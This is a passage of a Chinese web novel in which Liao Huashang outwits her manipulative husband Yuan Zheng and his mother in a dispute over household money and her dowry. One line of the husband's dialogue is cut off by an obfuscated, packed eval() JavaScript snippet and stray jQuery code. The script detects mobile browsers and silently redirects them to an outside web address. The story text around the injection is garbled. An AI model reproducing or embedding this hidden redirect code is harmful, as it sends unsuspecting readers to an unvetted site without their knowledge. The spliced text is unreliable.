只要她肯低头认错,再拿出银子交到公中,这件事就算过去了。
廖华裳面无表情看了袁诤一眼,淡声说道:“夫君错了。要请罪,也该是夫君自己请罪。”
“伯府是曾经度日艰难,但那都是在妾身进门之前。”
“妾身自嫁入袁氏门内,从未有一日懈怠。孝敬婆母长辈、主持中馈庶务,服侍夫君、亲睦小姑。婆母每有不适,都是妾身衣不解带、亲熬汤药、侍奉左右。”
“婆母一句伯府规矩,府中谁主事谁贴补家用。这些年,妾身从未让婆母和夫君因为银钱犯过愁,也未曾有过半句怨言。”
“妾身自问,已经尽到了为人媳、为人妻的责任和本份。请问夫君,今日,妾身要为何事请罪?”
她讥诮地看向垂首不语的袁诤,“总不该是为了妾身进门太晚,让婆母和夫君吃了十几年苦请罪吧?还是因未经你们允许,私自动用了妾身自己的嫁妆银子请罪?!”
一句话未完,袁诤的脸已经涨成了紫红色。
傅老夫人也气得浑身发抖,刚要开口斥责,突然看到儿子满脸阴鸷的表情,心里顿时咯噔一下。
袁诤不动声色朝傅老夫人使了个眼色。
傅老夫人会意,长叹一声站起身,眼含着泪花将手递给旁边的迎春,“罢了罢了,都是我的不是,都是我讨人嫌!如今我老了,操不了心、生不得气。以后的事,你们自己看着办吧!”
“说来说去,都是为了给我过那劳什子的生辰。既如此,这生辰不过也罢!不过了,以后都不过了!”
说完,头也不回气哄哄离开。
廖华裳看着老夫人的背影,目露讥诮之色:这样都能忍?
两人之所以等在这里,发这一通火,是为了逼廖华裳拿出银子,解决眼下府中困境。
傅老夫人最终妥协,大概是因为……
在他们眼中,她廖华裳,早已是穷途末路、时日无多。
便是再嚣张,也不过嚣张这一日半日,不值得他们多费心思。
过了三五个呼吸的时间,袁诤才敛去眼中阴鸷,沉沉叹息一声,慢慢从地上站起身。
廖华裳腰背挺直,站在原处一动不动。
袁诤死死盯着廖华裳看了好一会儿,才走到她身边,伸手去握她的手。
廖华裳下意识往回一缩,被袁诤死死抓住。
袁诤极力掩去眼底的烦躁,温言低语道:“为夫知道,廖家出这样的事,你心情不好。”
廖华裳面无表情,半个眼神都欠奉。
袁诤仔细观察着她的神色,小心斟酌着措词,“今日灵蕊第一次掌事,没有经验,搞得府里一团乱麻。偏巧今日四妹妹又请了几家千金小姐过府做客,更是乱上加乱。”
“若是你在,这些事情自是手到擒来,安排得再妥贴不过。为夫知道你这几日忙着询问店铺盘出事宜,又要为岳父母和舅兄准备远行的物品。裳儿,你受累了。”
廖华裳轻轻瞥了他一眼:虚伪!
袁诤却以为廖华裳被自己的剖心置腹打动,不由心里一松,连忙继续说道:“今日母亲被四妹妹烦得狠了,这才过来找你想办法。你一向能干,母亲也一向最是信你。府里这么乱,过来又扑了个空,这才发了脾气。”
“其实母亲也知道,咱们伯府,这些年多亏了你在支撑着。母亲背地里,没少在为夫面前夸你聪明能干、贤惠又孝顺。”
“这次是因为你要处理廖家的事,才将中馈临时交给灵蕊代为打理。”
“裳儿,表妹她,始终是外人,咱们才是一家人。断没有自家的事让一个外人来帮忙,还要贴补银子的道理。”
袁诤凑到廖华裳面前,温柔地笑问,“裳儿说,是不是这个道理?”
廖华裳心中冷笑连连,面上却一派为难,“可店铺要临时盘出去,一时找不到这么多买主,也不可能给现银。”
袁诤将廖华裳揽在怀里,轻轻揉捏着她的手,“为夫知道,难为你了。”
他叹了口气道:“廖家的事,你也没做错。趁着圣旨未下,提前将一切准备好,免得事到临头,再忙中出错。”
“我打听到,皇上因为太子的事,伤心过度病倒在榻,已经连续三日没有上朝,自然也顾不得处理此案。”
“这些日子,你暂时先留在府中,指点一下灵蕊,先将母亲的寿辰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227455|151266||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
应对过去。银子的事,我来想办法,好吗?”
廖华裳知道,这只是袁诤的缓兵之计。
他处心积虑、周密部署的计划,因廖华裳的不信任和不配合而告败。
他随即改变策略,干脆一不做二不休,直接将她困在府中。
此时提出让他休妻或和离,根本就是痴心妄想。
眼下她已别无良策,只能假装顺从,为自己和林嬷嬷她们,多争取一点自由的时间。
想到这里,廖华裳抬眸看向袁诤,柔声说道:“妾身方才所言,也是一时之气。夫君说得对,你我本是夫妻一体,自当休戚与共、同甘共苦。”
“店铺一时半会只怕盘不出去,府里又不能短了银子。总不能当真让母亲贴补,或是夫君出去借,那岂不是让外人笑话,伤了伯府和夫君的颜面?
”
“要不这样,妾身先将自己的嫁妆首饰典当一些,换些银两,先支撑几日。等店铺盘出去之后,再将东西赎回来。”
她笑着看向袁诤,“夫君以为如何?”
袁诤心下疑窦暗生,却满目深情、目不转睛看着廖华裳,想要从她的眼神和表情中,看出她真实的用意。
廖华裳浅笑盈盈,轻声问道:“夫君为何这般看着妾身?莫非,是怀疑妾身欺骗夫君?”
袁诤抬手刮了刮廖华裳的鼻子,将她拥入怀中,下巴杵着她的头顶,感叹道:“得妻如此,夫复何求?想我袁诤,何德何能,才娶得如此温柔识大体的贤妻?”
廖华裳掩去眼中的嘲讽,柔声说道:“那夫君以后,要待妾身再好一些。”
袁诤低头,在廖华裳额头落下浅浅一吻,“把命给你都可以。”
廖华裳如往常一般,顺从地偎在袁诤怀中,边想边说道:“妾身陪嫁的首饰摆件,大多都在母亲和小妹房里,剩下的多数品相样式并不怎么好。”
她仰起头,一副全心全意信赖的模样看着袁诤,“正好明日母亲说要重新布置院子,夫君莫不如跟母亲和小妹商量商量,先将像样点的摆件收回妾身的库房。”
“晚些时候,妾身便带上一些,去典当行换些银子回来,夫君意下如何?”